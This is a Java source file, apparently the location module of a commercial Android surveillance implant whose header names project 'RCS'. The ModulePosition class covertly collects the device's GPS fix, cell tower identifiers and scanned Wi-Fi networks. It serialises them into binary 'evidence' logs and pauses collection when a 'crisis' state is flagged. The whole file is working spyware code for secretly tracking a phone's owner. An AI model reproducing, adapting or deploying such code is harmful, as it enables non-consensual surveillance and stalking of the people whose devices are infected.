/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : AgentPosition.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.module; import java.util.Date; import java.util.List; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.location.Location; import android.net.wifi.ScanResult; import android.net.wifi.WifiManager; import com.android.dvci.CellInfo; import com.android.dvci.Device; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfModule; import com.android.dvci.conf.ConfigurationException; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.EvidenceType; import com.android.dvci.interfaces.IncrementalLog; import com.android.dvci.module.position.GPSLocationListener; import com.android.dvci.module.position.GPSLocatorAuto; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.DataBuffer; import com.android.dvci.util.DateTime; public class ModulePosition extends BaseInstantModule implements GPSLocationListener { private static final String TAG = "ModulePosition"; //$NON-NLS-1$ private static final int TYPE_GPS = 1; private static final int TYPE_CELL = 2; private static final int TYPE_WIFI = 4; private static final int LOG_TYPE_GPS = 1; private static final int LOG_TYPE_GSM = 2; private static final int LOG_TYPE_WIFI = 3; private static final int LOG_TYPE_IP = 4; private static final int LOG_TYPE_CDMA = 5; private static final long POSITION_DELAY = 100; private boolean gpsEnabled; private boolean cellEnabled; private boolean wifiEnabled; int period; private Object position = new Object(); private boolean scanning; @Override public boolean parse(ConfModule conf) { try { gpsEnabled = conf.getBoolean("gps"); cellEnabled = conf.getBoolean("cell"); wifiEnabled = conf.getBoolean("wifi"); } catch (ConfigurationException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " (parse) Error: " + e); } return false; } if (Cfg.DEBUG) { Check.log(TAG + " Info: " + "gpsEnabled: " + gpsEnabled);//$NON-NLS-1$ //$NON-NLS-2$ } if (Cfg.DEBUG) { Check.log(TAG + " Info: " + "cellEnabled: " + cellEnabled);//$NON-NLS-1$ //$NON-NLS-2$ } if (Cfg.DEBUG) { Check.log(TAG + " Info: " + "wifiEnabled: " + wifiEnabled);//$NON-NLS-1$ //$NON-NLS-2$ } setPeriod(NEVER); setDelay(POSITION_DELAY); return true; } @Override public void actualStart() { if (Status.self().crisisPosition()) { if (Cfg.DEBUG) { Check.log(TAG + " Warn: " + "Crisis!");//$NON-NLS-1$ //$NON-NLS-2$ } return; } if (gpsEnabled) { locationGPS(); } if (cellEnabled) { locationCELL(); } if (wifiEnabled) { locationWIFI(); } } private void locationWIFI() { if (Cfg.DEBUG) { Check.log(TAG + " (locationWIFI)"); } final WifiManager wifiManager = (WifiManager) Status.getAppContext().getSystemService(Context.WIFI_SERVICE); if (wifiManager != null && wifiManager.isWifiEnabled()) { registerWifiScan(wifiManager); wifiManager.startScan(); } else { if (Cfg.DEBUG) { Check.log(TAG + " Warn: " + "Wifi disabled");//$NON-NLS-1$ //$NON-NLS-2$ } } } private void locationGPS() { if (Cfg.DEBUG) { Check.log(TAG + " (locationGPS)"); } GPSLocatorAuto.self().start(this); } /** * http://stackoverflow.com/questions/3868223/problem-with- * neighboringcellinfo-cid-and-lac */ private void locationCELL() { if (Cfg.DEBUG) { Check.log(TAG + " (locationCELL)"); } final CellInfo info = Device.getCellInfo(); if (!info.valid) { if (Cfg.DEBUG) { Check.log(TAG + " Error: " + "invalid cell info");//$NON-NLS-1$ //$NON-NLS-2$ } return; } synchronized (position) { if (info.gsm) { EvidenceBuilder logCell = new EvidenceBuilder(EvidenceType.LOCATION_NEW, getAdditionalData(0, LOG_TYPE_GSM)); logCell.write(getCellPayload(info, LOG_TYPE_GSM)); logCell.close(); } else if (info.cdma) { EvidenceBuilder logCell = new EvidenceBuilder(EvidenceType.LOCATION_NEW, getAdditionalData(0, LOG_TYPE_CDMA)); logCell.write(getCellPayload(info, LOG_TYPE_CDMA)); logCell.close(); } } } @Override public void onLocationChanged(Location location) { if (location == null) { if (Cfg.DEBUG) { Check.log(TAG + " location is null"); } return; } final double lat = location.getLatitude(); final double lng = location.getLongitude(); if (Cfg.DEBUG) { Check.log(TAG + " lat: " + lat + " lon:" + lng);//$NON-NLS-1$ //$NON-NLS-2$ } synchronized (position) { final long timestamp = location.getTime(); if (Cfg.DEBUG) { Check.log(TAG + " valid");//$NON-NLS-1$ } byte[] payload = getGPSPayload(location, timestamp); EvidenceBuilder logGPS = new EvidenceBuilder(EvidenceType.LOCATION_NEW, getAdditionalData(0, LOG_TYPE_GPS)); logGPS.write(payload); logGPS.close(); } } public void onWifiScan(List<ScanResult> results) { if (Cfg.DEBUG) { Check.log(TAG + " (onWifiScan)"); } if (wifiReceiver != null) { Status.getAppContext().unregisterReceiver(wifiReceiver); } synchronized (position) { EvidenceBuilder logWifi = new EvidenceBuilder(EvidenceType.LOCATION_NEW, getAdditionalData( results.size(), LOG_TYPE_WIFI)); for (ScanResult wifi : results) { if (Cfg.DEBUG) { Check.log(TAG + " Info: " + "Wifi: " + wifi.BSSID);//$NON-NLS-1$ //$NON-NLS-2$ } final byte[] payload = getWifiPayload(wifi.BSSID, wifi.SSID, wifi.level); logWifi.write(payload); } logWifi.close(); } } private byte[] getAdditionalData(int structNum, int type) { final int addsize = 12; final byte[] additionalData = new byte[addsize]; final DataBuffer addbuffer = new DataBuffer(additionalData, 0, additionalData.length); final int version = 2010082401; addbuffer.writeInt(version); addbuffer.writeInt(type); addbuffer.writeInt(structNum); if (Cfg.DEBUG) { Check.ensures(addbuffer.getPosition() == addsize, "addbuffer wrong size"); //$NON-NLS-1$ } return additionalData; } private byte[] messageEvidence(byte[] payload, int type) { if (Cfg.DEBUG) { Check.requires(payload != null, "saveEvidence payload!= null"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.log(TAG + " saveEvidence payload: " + payload.length);//$NON-NLS-1$ } final int version = 2008121901; final Date date = new Date(); final int payloadSize = payload.length; final int size = payloadSize + 24; final byte[] message = new byte[size]; final DataBuffer databuffer = new DataBuffer(message, 0, size); databuffer.writeInt(type); // header databuffer.writeInt(size); databuffer.writeInt(version); databuffer.writeLong(DateTime.getFiledate(date)); // payload databuffer.write(payload); // delimiter databuffer.writeInt(EvidenceBuilder.E_DELIMITER); if (Cfg.DEBUG) { Check.ensures(databuffer.getPosition() == size, "saveEvidence wrong size"); //$NON-NLS-1$ } // save log return message; } private byte[] getWifiPayload(String bssid, String ssid, int signalLevel) { if (Cfg.DEBUG) { //Check.log(TAG + " getWifiPayload bssid: " + bssid + " ssid: " + ssid + " signal:" + signalLevel);//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ } final int size = 48; final byte[] payload = new byte[size]; final DataBuffer databuffer = new DataBuffer(payload, 0, payload.length); for (int i = 0; i < 6; i++) { final byte[] token = ByteArray.hexStringToByteArray(bssid, i * 3, 2); // debug.trace("getWifiPayload " + i + " : " // + ByteArray.byteArrayToHex(token)); if (Cfg.DEBUG) { Check.asserts(token.length == 1, "getWifiPayload: token wrong size"); //$NON-NLS-1$ } databuffer.writeByte(token[0]); } // PAD databuffer.writeByte((byte) 0); databuffer.writeByte((byte) 0); final byte[] ssidcontent = ssid.getBytes(); final int len = ssidcontent.length; final byte[] place = new byte[32]; for (int i = 0; i < (Math.min(32, len)); i++) { place[i] = ssidcontent[i]; } if (Cfg.DEBUG) { //Check.log(TAG + " getWifiPayload ssidcontent.length: " + ssidcontent.length);//$NON-NLS-1$ } databuffer.writeInt(ssidcontent.length); databuffer.write(place); databuffer.writeInt(signalLevel); if (Cfg.DEBUG) { Check.ensures(databuffer.getPosition() == size, "databuffer.getPosition wrong size"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.ensures(payload.length == size, "payload wrong size"); //$NON-NLS-1$ } return payload; // return messageEvidence(payload,LOG_TYPE_WIFI); } private byte[] getCellPayload(CellInfo info, int logType) { if (Cfg.DEBUG) { Check.log(TAG + " getCellPayload"); Check.requires(info.valid, "invalid cell info"); //$NON-NLS-1$ } final int size = 19 * 4 + 48 + 16; final byte[] cellPosition = new byte[size]; final DataBuffer databuffer = new DataBuffer(cellPosition, 0, cellPosition.length); databuffer.writeInt(size); // size databuffer.writeInt(0); // params databuffer.writeInt(info.mcc); // databuffer.writeInt(info.mnc); // databuffer.writeInt(info.lac); // databuffer.writeInt(info.cid); // databuffer.writeInt(0); // bsid databuffer.writeInt(0); // bcc databuffer.writeInt(info.rssi); // rx level databuffer.writeInt(0); // rx level full databuffer.writeInt(0); // rx level sub databuffer.writeInt(0); // rx quality databuffer.writeInt(0); // rx quality full databuffer.writeInt(0); // rx quality sub databuffer.writeInt(0); // idle timeslot databuffer.writeInt(0); // timing advance databuffer.writeInt(0); // gprscellid databuffer.writeInt(0); // gprs basestationid databuffer.writeInt(0); // num bcch databuffer.write(new byte[48]); // BCCH databuffer.write(new byte[16]); // NMR if (Cfg.DEBUG) { Check.ensures(databuffer.getPosition() == size, "getCellPayload wrong size"); //$NON-NLS-1$ } return messageEvidence(cellPosition, logType); } /** * @param timestamp * @param accuracy */ private byte[] getGPSPayload(Location loc, long timestamp) { if (Cfg.DEBUG) { Check.log(TAG + " getGPSPayload");//$NON-NLS-1$ } final Date date = new Date(timestamp); final double latitude = loc.getLatitude(); final double longitude = loc.getLongitude(); final double altitude = loc.getAltitude(); final float hdop = loc.getAccuracy(); final float vdop = 100; final float speed = loc.getSpeed(); final float course = loc.getBearing(); if (Cfg.DEBUG) { Check.log(TAG + " " + " " + speed + " m/s |" + latitude + " , " + longitude + "|" + hdop + " m |" + course + " o |" + date);//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$ } final DateTime dateTime = new DateTime(date); // define GPS_VALID_UTC_TIME 0x00000001 // define GPS_VALID_LATITUDE 0x00000002 // define GPS_VALID_LONGITUDE 0x00000004 // define GPS_VALID_SPEED 0x00000008 // define GPS_VALID_HEADING 0x00000010 // define GPS_VALID_HORIZONTAL_DILUTION_OF_PRECISION 0x00000200 // define GPS_VALID_VERTICAL_DILUTION_OF_PRECISION 0x00000400 final int validFields = 0x00000400 | 0x00000200 | 0x00000010 | 0x00000008 | 0x00000004 | 0x00000002 | 0x00000001; final int size = 344; // struct GPS_POSITION final byte[] gpsPosition = new byte[size]; final DataBuffer databuffer = new DataBuffer(gpsPosition, 0, gpsPosition.length); // struct GPS_POSITION databuffer.writeInt(0); // version databuffer.writeInt(size); // sizeof GPS_POSITION == 344 databuffer.writeInt(validFields); // validFields databuffer.writeInt(0); // flags // ** Time related : 16 bytes databuffer.write(dateTime.getStructSystemdate()); // SYSTEMTIME // ** Position + heading related databuffer.writeDouble(latitude); // latitude databuffer.writeDouble(longitude); // longitude databuffer.writeFloat(speed); // speed databuffer.writeFloat(course); // heading databuffer.writeDouble(0); // Magnetic variation databuffer.writeFloat((float) altitude); // altitude databuffer.writeFloat(0); // altitude ellipsoid // ** Quality of this fix databuffer.writeInt(1); // GPS_FIX_QUALITY GPS databuffer.writeInt(2); // GPS_FIX_TYPE 3D databuffer.writeInt(0); // GPS_FIX_SELECTION databuffer.writeFloat(200); // PDOP databuffer.writeFloat(hdop); // HDOP databuffer.writeFloat(vdop); // VDOP // ** Satellite information databuffer.writeInt(0); // satellite used databuffer.write(new byte[48]); // prn used 12 int databuffer.writeInt(0); // satellite view databuffer.write(new byte[48]); // prn view databuffer.write(new byte[48]); // elevation in view databuffer.write(new byte[48]); // azimuth view databuffer.write(new byte[48]); // sn view if (Cfg.DEBUG) { Check.log(TAG + " len: " + databuffer.getPosition());//$NON-NLS-1$ } if (Cfg.DEBUG) { Check.ensures(databuffer.getPosition() == size, "saveGPSLog wrong size: " + databuffer.getPosition()); //$NON-NLS-1$ } return messageEvidence(gpsPosition, LOG_TYPE_GPS); } BroadcastReceiver wifiReceiver = null; public void registerWifiScan(final WifiManager wifiManager) { if (scanning) { return; } scanning = true; if (Cfg.DEBUG) { Check.log(TAG + " (registerWifi)"); } final IntentFilter scanFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION); wifiReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { try { if (Cfg.DEBUG) { Check.log(TAG + " (onReceive)"); } scanning = false; List<ScanResult> results = wifiManager.getScanResults(); onWifiScan(results); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " ERROR: (onReceive) " + ex); } } } }; Status.getAppContext().registerReceiver(wifiReceiver, scanFilter); } }